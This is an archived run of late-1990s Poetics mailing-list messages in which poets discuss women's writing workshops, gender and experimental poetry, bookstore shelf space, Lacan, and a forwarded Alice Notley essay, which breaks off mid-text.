If you want a nice gloss on Mearns' role in the institutional Hx of "creative writing" in America, read the by now increasingly well-known book by D.G. Myers, _The Elephants Teach: Creative Writing Since 1880_ (Prentice Hall, 1996). Myers, you may know, is lately a student of Gerald Graff at Northwestern. The book is a drastically pared down version of his diss. Though providing an intellectual history of the creative writing movement is not Myers' explicit intent, he does give a rather left-handed and implicit history of the idea of "personal experience" and American poetics.

What there is no doubt about, in tersm of the institutional history, is that the "transfer of experience" (the personalism) was affiliated more closely with

poetry than with prose. Certainly the rise of prose poetry, when viewed in this light, looks, from a historian's pt of view, REALLY interesting.

So there are some pretty strong historical (cultural and institutional) reasons for it. One upshot we're all familiar with is that Poetry is more and more being considered -- at least by the kinds of poets who subscribe to a list like this -- as (after IA Richards) phatic language. That is to say, like, Empty. Hence maybe here the rise of prose poetry: the attempt to be "realer," less, like, solipsistic etc etc. Dashed off, sorry.

Gabriel

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1012. **R. Gancie**

Ron and Don

Mon 30 Mar 1998

To have a better sense of Don Byrd's concerns people on the list should read his book, The Poetics of the Common Knowledge. I have recently finished it. The intellectual history he draws on is vast including modernist literature, philosophy, science and technology, and more recent and radical departures such as autopoesis and recursive systems. Its not only an enormously literate and erudite work but for this long time anchorite/student of Western intellectual history it is a tight discourse which draws on fundamental texts and proposes a program of poetics and aesthetics that should be more widely considered and debated.--Carlo Parcelli

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1013. **s. kaipa**

Query

Mon 30 Mar 1998

Anyone out there have an address or email for Mei-Mei Berssenbrugge or Arthur Sze?

Address preferred, but anything is appreciated.

Thanks,

Summi

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1014. **Rachel Levitsky**
[Fwd: dsanet: No comment (fwd)]
Mon 30 Mar 1998

This is a multi-part message in MIME format.

This message is from: Jim Hurd <[redacted]>

By VERENA DOBNIK
.c The Associated Press

NEW YORK (March 24) - You've come a long way, comrade.

A stylish new edition of ''The Communist Manifesto'' aims to make Karl Marx and Friedrich Engels the latest in radical chic.

The slender volume is being republished as a glossy, $13 hardcover for release in New York and London on May Day. The fashionable department store Barneys is thinking about it for a window display.

The publisher says the 1848 work speaks to a sense on Wall Street that the
party can't go on forever.

''There's a sense of anxiety tied to the millennium. People don't believe things will just carry on, with markets rising forever,'' says Colin Robinson, head of Verso publishers, which is printing 20,000 copies on the 150th anniversary of the manifesto. ''Marx's description of a capitalist system prone to shocks and convulsions captures that mood.''

The revolutionary book, now with a rippling red-flag cover, has become fodder for capitalist fantasy:

With a handle attached, the book could make a snazzy accessory to a designer dress, says Simon Doonen, creative director of Barneys on Madison Avenue. One could sashay toward the new millennium, the 19th-century words of Marx and Engels dangling at one's side.

Doonan is toying with the idea of featuring the ''Manifesto'' - along with red lipsticks - in the window as ''conceptual art.'' His assistants are looking for the right lipstick - preferably with a Russian-sounding name.

With communism gasping around the world, ''it's OK to look at the book as
camp,'' he says.

Around Wall Street, the very capital of capitalism, the Borders bookstore at the World Trade Center plans to give the book center display in the front of the store. Barnes & Noble will likewise market the ''Manifesto'' at its 483 superstores as ''a storefront feature.''

''Enough time has passed since the fall of the Iron Curtain so Marxism can
again be seen as a utopian philosophy,'' says John Kulka, a Barnes & Noble
merchandise manager.

The new edition was designed by two trendy, Soviet-born, New York artists
known as Komar and Melamid. With crimson end pages and a ribbon marker of
the same color, ''it's elegant enough to grace a coffee table,'' Robinson
says.

That's not quite what its authors had in mind.

Written during the Industrial Revolution, the ''Manifesto'' called the working class to arms against the bourgeoisie.

The ''Manifesto'' opens with the famous words, ''A spectre is haunting Europe - the spectre of Communism.'' It predicted that a catastrophic cycle of booms and busts would befall the new free-market system.

The 23-page pamphlet was ''the most influential single piece of political writing since the French Revolution,'' historian Eric Hobsbawm, the intellectual guru of Britain's socialists, writes in the introduction to the new, 96-page edition.

The Communist Party U.S.A., which is based in New York and claims 25,000 members, could use a little marketing.

''Cool,'' spokeswoman Terrie Albano says. ''It wasn't too long ago when everyone was saying communism was dead. Here it is, resurrected.''

by spot.Colorado.EDU (8.8.5/8.8.4/CNS-4.1p) with SMTP
id OAA01777; Tue, 24 Mar 1998 14:40:46 -0700 (MST)
Date: Tue, 24 Mar 1998 14:40:46 -0700 (MST)
From: ANDERSON DAVID <[redacted]>
To: [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted]
Subject: dsanet: No comment (fwd)

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----------6CF76C7D716B--

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1015. **Cadaly**
Women's Writing Workshop
Mon 30 Mar 1998

I would like more information on the women's writing workshop(s) mentioned:

How is the process different from another workshop?

Does the "background" subject matter of a writing workshop make a difference? The sex of the participants? The stated "topic" or focus?

How is the writing different from another workshop or from feminist writing? Is a women's writing workshop different from a feminist writing workshop?

Catherine Daly
[redacted]

Writing this just made me remember: I took a lot of "lessons" as a kid: they were all single sex. I was in a co-ed school. Just struck me odd: all the sports teams except for cross country were single sex, too, so I guess it's pretty common, co-ed classes, single sex extracirricular activities.

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1016. **SSSCHAEFER**
Re: Guns, gender, children
Mon 30 Mar 1998

Keston:

"not being on the shelves" is no less a key phrase than someone saying that at "my" m.f.a. program people are very interested in experimental poetry. I'm

surprised to find that there is all this resistance to the notion that outside elite academies, poetry is marginalized, and experimental poetry more so. Is it startling to anyone that here in LA we have these readings sponsored by various national poetry organizations where people like Stephen Dunn are put out as the great poets because "they have a vision of the middle class" as was recently said at a reading here. As always, I'm a little put off by the pedantic tone on this list.

Katy: No offense, but no one is askig you or me to make an essentialist argument about what is women's poetry.

I think I find it troubling that on this list people tend to try to posture themselves and direct there arguments in pedagogical terms. Which words like "discursive" can be. I'd like to believe that this list was a space where communication could take place with an understanding that it is taking place in a zone or similiar "interpretative community."

Very interesting these remark on maternity and the "training" that you recieved.

Back to the other note: I still think shelf space counts. When you see people outside the academy looking for a language they can think it and they go to the store and Scalapino is not on the shelf or is buried under 27 volumes of Robert Hass, this has an effect.

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1017. **SSSCHAEFER**

Re: Guns, gender, children

Mon 30 Mar 1998

Katy:

Did I say thanks for sharing your thoughts on this thread and thanks for posting the artical? I meant to.

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1018. **dbkk**

Re: women/men/communication/cherry blossoms

Mon 30 Mar 1998

> *Date: Mon, 30 Mar 1998 13:01:37 +0900*
> *From: Nada Gordon <[redacted]>*
> *Subject: women/men/communication/cherry blossoms*
>
> *I hate women's writing workshops -- I have participated in a few and even, uh, hostessed, one on this side of the Pacific. At workshops like these the common response to my writing is puzzled silence, "what are you trying*

> *to SAY with this?" or "there are some interesting images here, but I don't you think you should be more accessible" as if that constituted a response to the work. Mostly these are pieces that, by language poet standards, might be considered highly SUBJECTIVE, even THEMATIC or LYRICAL. The kind of writing that these women's groups seem to sanction, though, is reportage -- on relationships, childhood memories, life incidents, mostly, without emphasis on the formal features of the writing, i.e. the poetry. The responses tend to the "thank you for sharing" *nurturing* *supportive* variety -- even to writing that, to my torqued-out ear, isn't interesting at all. This seems to me to be Tannen's cooperative dynamic at its most nauseating.*
>
> *Dodie, is your workshop any different? Or do you take issue with my description?*

I could say lots of things here, Nada, but, first of all, my workshop isn't a women's workshop. It's mixed, but basically queer, meaning lots of gay men and women of a variety of pursuasions, though most of the women I know in their 20s claim some sort of bisexuality, if only psychological, like one "straight" woman said to me last week, "I used to have such a crush on Jocelyn Saidenberg." Straight guys have been in the group and worked out very well, but I always interview them first, my main question being, "Can you deal with overt sexual descriptions by gay men and women?" Any straight guy that's willing to sit through descriptions of butt-fucking is usually going to be okay. Many people have taken the workshop because they wanted to work on sex writing in a serious way, writing that they wouldn't feel comfortable taking to a college workshop. Though at the moment, the group is quite tame in that area. I haven't had much of a problem with males dominating the group and I've had very little difficulty creating a warm, sharing, but very productive space with serious feedback, not just compliments. The writing varies from "experimental" to conventional and it's officially a prose workshop. I'm more rigid about it being a prose workshop these days because once I let three young poets in who refused to write prose the whole time they were there and gave off unpleasant vibes that the prose writers were somehow inferior and the whole experience didn't meet their high (read "immature") intellectual standards. That workshop I hated and I haven't allowed any poets in unless they commit to writing prose. Though, actually, one of my people now is bringing in some interesting poetry at times. I try to be non-authoritarian and create a non-competitive environment and everybody gets lots of close readings of their work and people's work improves--like some conceptual "I get it" happens and their approach to language changes. Kevin K. takes the workshop as a student, bringing his own work in each week to be critiqued--he's such an excellent editor, and his giving feedback as another student, not a "teacher," is wonderful.

As far as women's workshops go, I don't see why there couldn't be a good one if you had women coming from the same place. I haven't been in a women's workshop since the early 80s, and I had not very good experiences in them. When I first came here I got involved in the Women's Writer's Guild, and the writing responses there were dopey as you describe, but many of the women were quite well off, living in Marin and the East Bay and I'd just moved to San Francisco from Chicago and I was amazed at all these hot tubs I was sitting around naked in discussing feminism and writing, I thought it was just great how all these women writers have hot tubs in their homes. Sadly, I now know no one with a hot tub. The hot tubs are the main thing I miss about no longer being a feminist.

I also took Kathleen Fraser's Feminist Poetics class and women's writing workshop at SF State and those were very useful, rigorous, enlightening. When the class ended Kathleen urged the women from the women's workshop to continue a group on their own, which happened. At that point I was still writing poetry and clearly there was a struggle going on between what I wanted to do in writing and formal issues in poetry. I hadn't yet figured out you could write prose without writing short stories. But, as soon as the women's workshop no longer had Kathleen as a facilitator, it turned vicious in its hierarchical reorganization, with the wanna-be language poets (none of which are on the scene any more) at the top, and then the tolerated in-betweens, and me at the bottom. The queen of the workshop told me that I was writing about sex and violence and therefore should go into therapy. I remember yelling back that I wasn't writing about sex and violence. I had sex on page two and violence on page 4--that's not sex and violence! Remember, this was the early 80s, it wasn't yet cool to write about sex and violence and anything narrative was the scum of the earth.

I was moved when Johanna Drucker read at Small Press Traffic a couple of weeks ago and she talked about her interest in narrative when she was growing up, how she'd always imagined herself writing huge narrative books. Then she fell in with the Bay Area scene and was told that that wasn't valid, so she developed other strategies in writing. She spoke of how she was still struggling with this "self-censorship." I often wonder the same things about my own work.

I see so much competiveness and turf guarding among women writers, it can be very depressing. I think some of the people who are railing about inequalities with men should think about being nicer to the women they know. And this isn't aimed at you, Gordon, I have no idea how you are to the women you know.

Dodie

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1019. **Henry Gould**
CAPA
Mon 30 Mar 1998

Wanted to mention that the CAPA archive produced by Wendy Battin has upgraded the online collected poems of Edwin Honig, which I announced here last year sometime. It's still under construction but more accessible now. Thanks always to Wendy.

at: http://capa.conncoll.edu

- H. Gould

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1020. **Mark Weiss**
Re: Guns, gender, children
Mon 30 Mar 1998

Hard to know what you're talking about without a sample.

At 12:05 PM 3/30/98 EST, you wrote:
>Katy--Belle Waring in Dark Blonde has very explicitly physical
>stuff about birth--and doctors who fuck up in a shocking way.
>It's in a kind of documentary mode, though, and *as poetry* would
>probably be rejected by most people on this list as too traditional.
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>is the only poetry that has validity, that other uses of language
>in poetry are inevitably naive and retrograde. Which has seemed odd to
>me since in discussions of this sort various discourses and language
>games are used as though they work, at least provisionally or on an
>ad hoc basis---the way more traditional poetry is also written.
>
>MM
>
>

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1021. **Rachel Levitsky**

Re: what does Jonesboro have to do with women & poetry & Poetics list

Mon 30 Mar 1998

I am just getting through reading about six weeks of posts, two days more to go before I'm clear. I am gearing up for a belated contribution on the gender thing. Rachel and Katy--you rock.

I was just so glad to read this with all the knee jerk press analysis and no one talking about repression and denial (of the very goods marketed/flaunted all in front of your face). Though perhaps there is some hope via resisitance. Friend Akilah Oliver says that since the activism/press exposure of Nike's repression of labor, Nike sales are down by half.

--Rachel Democracy

Christina Fairbank Chirot wrote:
>
> Having written and published a few pieces drawn from real life
> experiences of shootings and killings--i.e. happened in my life to people
> I knew as well as to me--
> it is not bemusing to regard the killings--they are part of a long
> tradition in American life (and art, to be sure)--
> it's easy to say it's just guns--but the hells many endure living
> in the usa go beyond simple violence--(remember: Thoreau spoke of "lives
> of quiet desperation" lived in silence--violence is what happens when
> silence
> becomes too much to endure, when one does know how to speak, or if anyone
> will listen--)
> one of the great moralists of our times, one William S. Burroughs,
> has an exceptional passage in Maked Lunch--an out pouring of outrage at
> the
> spirit of evil which haunts the land--
> millions were killed in this country without guns--drugs, alcohol,
> toxic waste dumps, no access to health care, locked up in reservations,
> beaten and starved, tortured, lynched, malnutrition, chemical and nuclear
> experiments, medical and biological experiments--
> many of my ancestors were killed by a simple method: they were
> given disease infected blankets when shipped off their homelands by the us
> govt.
> there are many interesting studies tracing the origins of this

> violence to Puritanism--you can find the flip side of this in some of Jim
> Thompson's novels--
> but the desire for purification, and to purge the world of
> impurities--
> to know grace (and when you can't be rewarded with riches--why not
> with power--over another's life--)--
> Remember Travis Bickle in Taxi Driver: "all my life I've known
> loneliness--in cars, on sidewlaks--in bars--loneliness has followed me
> everywhere--I'm God's lonely man--"
> . . ."Someday a real rain will come . . . "
> . . ."You talkin' to me?--Huh?--Then who the f*** are you talkin
> to?"
> When it's not such a short step from a desire to overcome
> intolerable life, or solitude, or silence to being God's lonely man--
> is not this the mission of the righteous?
> "Huh?"
> --dave baptiste chirot

↑ Index

1022. **Keston Sutherland**
Re: margerine
Mon 30 Mar 1998

Of course some poetries get good journalism and of course it's usually because they give good journalism, are middle-class (though everything here is) etc, lots of good stuff is not well known (believe me - the academies are no exception, or this one isn't anyhow), BUT: I am trying to look a little more closely at the semiologic range of 'marginal', the politics of literary identity that it incites or that it can potentially incite, the kinds of decision made regarding its values as a description and the implied values of the work so described, the extent to which the term and what it designates have already been appropriated and fetishized commercially, etc. It's not pedantic to attempt thoroughness, it's myopic to arrest one's judgement of a situation with whichever explanation seems most ready to glorify one's status.

k

↑ Index

1023. **k. lederer**
Re: Stadard S, "truth," Dodie's wkshps
Mon 30 Mar 1998

Hi Standard,

Points well-taken.

Just to clarify something: I don't mean to say "my" mfa program is any sort of touchstone per se--

It just happens to be the place from which I'm coming from right now.

I am, admittedly, pretty academic in my concerns. My father and sister both hold advanced degrees in linguistics and I have led an extremely academic life thus far (which I think will change when I leave this place...).

___

As per the issue of essentialism. I don't think that anyone here is necessarily demanding an essentialist reading of "women's poetry." But I do think that the line between essentialist and historical readings of any "sort" of poetry is all too often blurred.

The following quote speaks well to this concern:

A truth, it must be admitted, is not easy to recognize, once it has become accepted. Not that there are established truths, but they then become so easily confused with the reality that surrounds them that no other artifice has yet been found to distinguish them from it than to mark them with the sign of the spirit, to pay them homage, to regard them as coming from another world.

(Lacan, Ecrits, "The Freudian Thing," p. 120, Norton 1977)--

As per the character of Dodie's workshops. I took one of her workshops oh... maybe three years ago.

I thought it was really terrific. As she says, there was a lot of variety of all sorts in my particular group--different sexualities, genders, ideas, goals etc...

I remember being completely refreshed by it as it was pretty much the first time I had actually encountered "intellectuals" outside of an academic environment.

The students and the writing were totally impressive and interesting to me.

One friend (a poet, I suppose) brought in sound collages, which were fun to hear. Another woman was working on a very strange novel. I believe (correct me if I remember incorrectly Dodie) that her protagonist was supposed to be ungendered or somehow ambiguous?

I remember that her work challenged narrative in a really provocative way.

One guy was writing about a kind of nutty gay man who moved through an equally nutty art world--paintings were stolen, blackmail was attempted--all of it happened within a highly sexualized milieu.

Kevin K was working on a wonderfully sharp piece--

It treated the AIDS epeidemic with a light yet maccabre sort of humor--

As in: it portrayed its characters as just getting on with things, in spite of but also with a deep regard for the dead who still haunted the SF landscape of the period depicted....

And there was another woman (a regular, I believe) who was writing these strange pieces about a movie critic? (Dodie?)--she was a journalist herself in "real" life.....

Anyway--just taking this opportunity to refresh my memory of it--

I thought it was a really productive workshop--and I didn't feel any tension or any sense of competition or disapproval on anyone's part...

Best,
Katy

↑ Index

1024. charles alexander
no guns
Mon 30 Mar 1998

given the messages, part of whose subject is 'guns' lately, I thought I'd forward the following, which came to me from a Waldorf school my daughter attends.

While not necessarily, or usually, supportive of such grand gestures, I have to admit that I'd be amazed if such a thing actually happened.

charles

ONE DAY IN PEACE, JANUARY 1, 2000. This is a 24-hour concept where no guns are fired anywhere on earth.. including on television. What if, for 24 hours, whosoever happens to be at war on December 31st, 1999, agrees that for one whole day no guns would be fired? The silence would be golden.

And what if the television programmers of the world agreed to not air any programming with a violent content? (It would probably be easier to get warring nations to stop firing than it would be to get the world's television programmers to not air violent programming.)

At present, this ONE DAY IN PEACE concept is beginning to get further circulation. On April 6, 1997, there were 1000 days until January 1, 2000.

This is a thought-wave campaign. Which is to say, the more people who grasp this thought, the more it comes into reality..

One Day In Peace, January 1, 2000..pass it on..expect a miracle.

↑ Index

1025. Jordan Davis
bay-bee
Mon 30 Mar 1998

Keston

you must know Williams's White Mule. the baby is terrific, it's one of the great things to read I want chucked in my grave.

Here is a poem I wrote a long time ago about a baby:

HAPPY BABY

In the park in a carriage
Dressed like (a little) your mother
The sun speaks to you
And you talk back
So fast the sun says
"I'm sorry?" your sister a concerto
Scowls over you
Smiling
Your head leaning this
Way and that

and thank you for sending at the motel partial opportunity it is lovely looking I will read it as soon as I get some food in me. I had my students write for a solid half hour today and they did rebel, god's wounds!

Also in the mail today the Alex Smith Jr. book Bill Luoma mentioned. It is lovely and sad just what I needed today when it is so hot out.

I wonder what anybody wants.

Hey two of my students are reading at Town Hall in this poet laureate project of read your favorite poem. So have mercy on the project, please.

J (happy to be superceded by many Ks)

↑ Index

1026. **MAYHEW**
iceberg lettuce
Mon 30 Mar 1998

I was in Barnes and Nobles and came up with a great book concept: "Ice-berg Lettuce for the Soul: Insipid Anecdotes for a Superficial Age." I welcome all your contributions; we can make a million bucks off this.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

1027. **henry g**
Re: Stadard S, "truth," Dodie's wkshps
Mon 30 Mar 1998

On Mon, 30 Mar 1998 13:55:40 -0600 k. lederer said:
>
>The following quote speaks well to this concern:
>
>A truth, it must be admitted, is not easy to recognize, once it has become
>accepted. Not that there are established truths, but they then become so
>easily confused with the reality that surrounds them that no other
>artifice has yet been found to distinguish them from it than to mark them
>with the sign of the spirit, to pay them homage, to regard them as coming
>from another world.
>
>(Lacan, Ecrits, "The Freudian Thing," p. 120, Norton 1977)--
>

The other side of the coin, though, comes from Wittgenstein, who wrote that the truth can only be known by standing outside of the world. Lacan, I guess, is speaking as a nominalist. Wittgenstein (if he admits the possibility of such an "outside" perspective), as a realist. This outsider position relates to the "status" of marginality. The broken off splinter reveals the macrocosm. Synecdoche. -Henry Gould

↑ Index

1028. Miekal And
prunus
Mon 30 Mar 1998

michael corbin wrote:

> *the cherry blossom is a complicated bloom. with all its social hopes at the tidal basin. tourists and a western rapproachment. global economy. a tea ceremony of geo-political importance in the margins of 'yen' and 'dollar'.*
>
> *the cherry blossoms is bluumin'.*
>
> *i love *this* spring. but i prefer that bullshit daffodil. cherry blossoms be damned. photosynthesis and all that civic-life. fake, it*

in the hardscrabble of the corncow frontier, the cherry trees of dreamtime are just budding, even too early for this asyntactic quick spring--growing sand cherries & nanking cherries & korean cherries & pie cherries & black cherries & chokecherries & bird cherries.

a long way from the cameras & tourists & the money that makes them smell so good...and the damned cherry gets planted more every year...

ezra farmhand deluxe

↑ Index

1029. morpheal
Re: iceberg lettuce
Mon 30 Mar 1998

> *I was in Barnes and Nobles and came up with a great book concept: "Ice-berg Lettuce for the Soul: Insipid Anecdotes for a Superficial Age." I welcome all your contributions; we can make a million bucks off this.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*

I would only go along with it if the pages decomposed in roughly the way lettuce does. IT would be symbollic of the life expectancy of the current work of art.

Imagine pages that change colour slowly, then begin to slime, and rot, right before your very eyes, after the plastic wrapper is taken off and activates a special ingredient within the vacuum pack.

You have only three days to read this book...after opening the wrapper. You can extend the keeping qualities to as long as one week,in the vegetable compartment of your household refrigerator.

Patents Pending.
Trademarks Registered.

P.S. This could be bigger than "pet rocks" and sieze a larger market niche if marketed aggressively enough. Can we interest anyone in buying shares in a newly formed corporation ?

Morpheal

↑ Index

1030. laura and jeff
Re: submission and dominance
Mon 30 Mar 1998

> *i happen to posses a penis (and i'm almost six foot, and can bench over 200lbs-- so i'm "manly"), and i balled my eyes out at titanic. for the whole last hour and three hours afterward.*
>
> *At the risk of levity, balling for four hours during and after a tear-jerker strikes me as stereotypical male behavior, including the exaggeration. Don't know what your partner's excuse is.*

sorry. sorry. "bawling".
geesh.
jeff.

Listen,
if the stars are lit
it means there is someone who needs it.
It means it is essential
that every evening
at least one star should ascend
over the crest of the building.

-vladimir mayakovsky, from "Listen!"

↑ Index

1031. **Mark Weiss**
Re: Stadard S, "truth," Dodie's wkshps
Mon 30 Mar 1998

> *The following quote speaks well to this concern:*
>
> *A truth, it must be admitted, is not easy to recognize, once it has become accepted. Not that there are established truths, but they then become so easily confused with the reality that surrounds them that no other artifice has yet been found to distinguish them from it than to mark them with the sign of the spirit, to pay them homage, to regard them as coming from another world.*
>
> *(Lacan, Ecrits, "The Freudian Thing," p. 120, Norton 1977)--*

This has been a truism for at least 300 years, but I suppose it's nice of Lacan to remind us.

↑ Index

1032. **Mark Weiss**
Re: no guns
Mon 30 Mar 1998

Charles: If this comes to fruition it's the opportunity we've been waiting for. Let's plan our coup for that date. Catch 'em with their pants (and skirts) down.

At 12:56 PM 3/30/98 -0700, you wrote:
>given the messages, part of whose subject is 'guns' lately, I thought I'd
>forward the following, which came to me from a Waldorf school my daughter
>attends.
>
>While not necessarily, or usually, supportive of such grand gestures, I
>have to admit that I'd be amazed if such a thing actually happened.
>
>charles
>
>_____
>
>ONE DAY IN PEACE, JANUARY 1, 2000.
> This is a 24-hour concept where no guns are fired anywhere on earth..
> including on television. What if, for 24 hours, whosoever happens to be at
> war on December 31st, 1999, agrees that for one whole day no guns would be
> fired? The silence would be golden.

>
> And what if the television programmers of the world agreed to not air any
> programming with a violent content? (It would probably be easier to get
> warring nations to stop firing than it would be to get the world's
television
> programmers to not air violent programming.)
>
> At present, this ONE DAY IN PEACE concept is beginning to get further
> circulation. On April 6, 1997, there were 1000 days until January 1, 2000.
>
> This is a thought-wave campaign. Which is to say, the more people who
grasp
> this thought, the more it comes into reality..
>
> One Day In Peace, January 1, 2000..pass it on..expect a miracle.
>
>

↑ Index

1033. **morpheal**
Re: no guns
Mon 30 Mar 1998

> *Charles: If this comes to fruition it's the opportunity we've been waiting for. Let's plan our coup for that date. Catch 'em with their pants (and skirts) down.*

Actually I should have mentionned that guns are much too messy. They are also terribly old fashioned. There have to be better ways.

In this final twilight of the 20th century, coming into the 21st century, and progressing beyond Buck Rogers, we ought to be able to kill nearly anything with one single THOUGHT....

So that is what must be so dangerous about poets....They think too much. Sometimes, even worse, they give voice to what they think.

After plotting the coup attempt, your next electronic mail arrives and says something to the effect that:

For attempting a poetic coup of a listserv your poetic license is revoked for a period not less than five years for each instance of standing out as an individual and recognizable poetic voice....all such sentences to be served consecutively.

That's it. Poetic license revoked. No appeal. Simply revoked.

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1034. **k. lederer**
Re: Stadard S, "truth," Dodie's wkshps
Mon 30 Mar 1998

Mark--

The gist of this passage may have been a "truism" for 300 years--

But I think you forget the context from which it has been plucked--

As in: Lacan's view of "reality" and its relation to the subject.

Yours,
Katy

On Mon, 30 Mar 1998, Mark Weiss wrote:

> *The following quote speaks well to this concern:*
>
> *A truth, it must be admitted, is not easy to recognize, once it has become accepted. Not that there are established truths, but they then become so easily confused with the reality that surrounds them that no other artifice has yet been found to distinguish them from it than to mark them with the sign of the spirit, to pay them homage, to regard them as coming from another world.*
>
> *(Lacan, Ecrits, "The Freudian Thing," p. 120, Norton 1977)--*
>
> *This has been a truism for at least 300 years, but I suppose it's nice of Lacan to remind us.*

↑ Index

1035. **Marcella Durand**
Chris Funkhouser search
Mon 30 Mar 1998

Does anyone have Chris Funkhouser's e-mail? And if Chris Funkhouse responds to this, what I actually need is a short bio sent to me c/o the Poetry Project (tomorrow if possible):

[redacted]

Thanks
Marcella

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1036. **laura and jeff**
Re: no guns
Mon 30 Mar 1998

> *Actually I should have mentionned that guns are much too messy.*
> *They are also terribly old fashioned. There have to be better ways.*
>
> *In this final twilight of the 20th century, coming into the 21st century,*
> *and progressing beyond Buck Rogers, we ought to be able to kill nearly*
> *anything with one single THOUGHT....*

word?? this is starting to sound like dune.

> *So that is what must be so dangerous about poets....They think too much.*
> *Sometimes, even worse, they give voice to what they think.*

which is why: when an autocratic gov takes over the poets are usually among the first killed. tendencies in history are fun, and aparently deadly.

jeff.

Listen,
if the stars are lit
it means there is someone who needs it.
It means it is essential
that every evening
at least one star should ascend
over the crest of the building.

-vladimir mayakovsky, from "Listen!"

↑ Index

1037. **Billy Little**
the shelf
Mon 30 Mar 1998

---

as far as poetry being on the shelves of bookstores, this largely depends on the education of the book buyer. When i was managing the hardcover department of a large bookstore in boston, the publishers reps would come in and show me the new jackets of books about to be published, often they'd skip right over the new poetry releases thinking they were published solely for libraries, one time I'm staring at the jacket of Pablo Neruda's latest and the guy turns the page saying: that's poetry i won't waste your time. Of course i said: back up that guy's going to win the nobel prize. So it's a struggle even to get the giants on

the shelf. one thing poets and readers might do is conscientiously request their libraries order every book they're interested in reading whether they've already bought it or not, it only takes a few minutes and they won't order every one you ask for but if you don't request you'll never get and if they only order ten percent that's five or ten books that wouldn't have been there and are now available to thousands of readers, sometimes it helps to lie, tell them in Minneapolis and Alberquerque both that Alice Notely is a local writer, that Katy Lederer, the editor of this dynamite mag, Explosive, just moved down the street from the library in Dubuque. You're poets, you've got imaginations, get out there and fabricate, it's your future you're creating.

Epiphany (for Matthew Ezra)

One of the reasons i still have the affections
of my handsome and intelligent child
now twenty seven years old
is that i stopped smoking
27 years and 8 mos ago enabling him
to be 100% cuter and 3 times as smart
as his IMProv/Ident dad
enabling his dad to
have the stamina
to sing to the squalling babe
3 am rock him in my arms
my voice enCHANTing him
soothing him lulling him
sweetening his dreams
irritating his mother no end
she needed her sleep
she went to work in the morning
working at home--parenting and writing
cooking, cleaning, shopping,
many mornings i'd push him
in his stroller to the county art museum
to the farmers market
along The Walk of The Stars past Gruman's Chinese
to the newstand at Hollywood and Vine
Sunset Boulevard, LaBrea Tar Pits,
the Miracle Mile and i love him
and never miss a chance to tell him so
and his children are cuter and smarter
than both of us

billy little

↑ Index

1038. Don Wellman
Re: women/men/communication/cherry blossoms
Mon 30 Mar 1998

I thought Dodie's post terrificly important in many ways.

Here is where I am on this thread: "stories heal" (I wrote that earlier). Stories also terrify.

Even every poet has a story...

(whether or not that story gets told, whether or not the poet wants it to leak through the words ...

To second how Katty has read Lacan, some of what I mean by story hovers among the words, alongside the "language" that censors as well as constructs how we tell or hear those stories--

one aspect of caring for language is in lending an ear to such stories (stories now from different people, different ethnicities, sexualities ...

another picks at the inadequacies and incoherences that a deconstruction reveals

Or am I being so "biunivocular" that I should have myself carted away?

Don Wellman

I never thought this latter care an end in itself--only a way to supplement the first?

↑ Index

1039. Marcella Durand
more boring chit-chat
Mon 30 Mar 1998

Kind of wierd to tune in after a few days and find a thread I found interesting & provocative getting strangely bogged down?? And what is this bizarre list of statistics? It reminds me when that study came out that a woman had about much chance of getting married after--what was it, 30??--as being captured by a terrorist. Now I feel like I'm helping to "silence" men who have been abused by their wives and girlfriends, and I'm sure that such abuse happens, the human race being such as it is, but I can't believe in greater amounts than women being abused!

I feel like I need to defend that there is sexism in the world and back that up with various stories I have seen, heard and experienced. And it definitely

happens in how we're taught reading and writing, in both the classroom and out. Although I try to keep myself as sensitized as possible, doing counts of everything to try and make it 50/50 men/women, last night I was asked who my biggest influences were. I automatically reeled off 2 male writers, then had to consciously think, I must now include 2 women writers. My first impulse was to name men, even though the women have been just as big influences. When my "affirmative action" becomes automatic & unconscious, then maybe I won't need to talk about it so much. However, since this thread started, I've definitely become more involved with reading the list and feel more comfortable about responding.

Here is one study I vaguely remember reading about: Two groups were given the same piece of writing but with two different names: one female, one male. When asked if they thought it was a good piece of writing, the "female" group said (mostly) no. The "male" group said (mostly) yes. If anyone has info on this study, I'd like to verify.

I think it would be interesting to have a more precise discussion of gender and poetry--ESPECIALLY experimental poetry. I've disagreed with Irigaray that women write with their vaginas (but maybe the movement from pen to keyboard means something ...) But Helene Cixous's theories on a female language are interesting when applied to experimental syntax. Perhaps we could talk about Alice Notley's work?

↑ Index

1040. laura and jeff
Re: disobedience (fwd)
Mon 30 Mar 1998

---

a problem i see with this is: comformity is impossible. any attempt to comform is done thru your perceptions, etc. and so whatever you are attempting to conform to becomes your own, whether or not you intend that. so: to automatically make some arbitary descision about disbelief or belief (to pre-judge) before you know the ideas and/or arguments of the individual/group will limit your growth as an individual because of the lack of exposure to others due to your closed mind.

jeff.

>Originally posted by Anselm Berrigan:
>
>
> This is a paper/essay given recently at a British poetry conference
>by Alice Notley upon being asked to write on her poetics. I think it carries
>some threads relevant to topics discussed recently:

>
>
>
> The Poetics of Disobedience
>
> by Alice Notley
>
>
> For a long time I've seen my job as bound up with the necessity of
>non-compliance with pressures, dictates, atmospheres of, variously, poetic
>factions, society at large, my own poetic practices as well. For a long time
>-- well in fact since the beginning, since I learned how to be a poet inside
>the more rebellious more outlawish wing of poetry; though learning itself
>meant a kind of obedience, so like most words the Dis words, the Dis form,
>cannot be worshipped either -- and that would be an obedience anyway. I've
>spoken in other places of the problems, too, of subjects that hadn't been
>broached much in poetry and how it seemed one had to disobey the past and
>the practices of literary males in order to talk aboutwhat was going on most
>literarily around one, the pregnant body, and babies for examples. There
>were no babies in poetry then. How could that have been? What are we leav-
ing
>out now? Usually what's exactly in front of the eyes ears nose and mouth, in
>front of the mind, but it seems as if one must disobey everyone else in
>order to see at all. This is a persistent feeling in a poet but staying
>alert to all the ways that one is coerced into denying experience, sense and
>reason is a huge task. I recently completed a very long poem called
>Disobedience but I didn't realize that disobeying was what I was doing, what
>perhaps I'd always been doing until the beginning of the end of it, thought
>the tone throughout was one of rejection of everything I was supposed to be
>or to affirm, all the poetries all the groups the clothes the gangs the
>governments the feelings and reasons.
> I seem to start with my poem The Descent Of Alette these days,
>whatever it is that I am now seems to start there. It was for me an immense
>act of rebellion against dominant social forces, against the fragmented
>forms of modern poetry, against the way a poem was supposed to look
>according to both past and contemporary practice. It begins in pieces and
>ends whole, narrated by an I who doesn't know her name and whose name
when
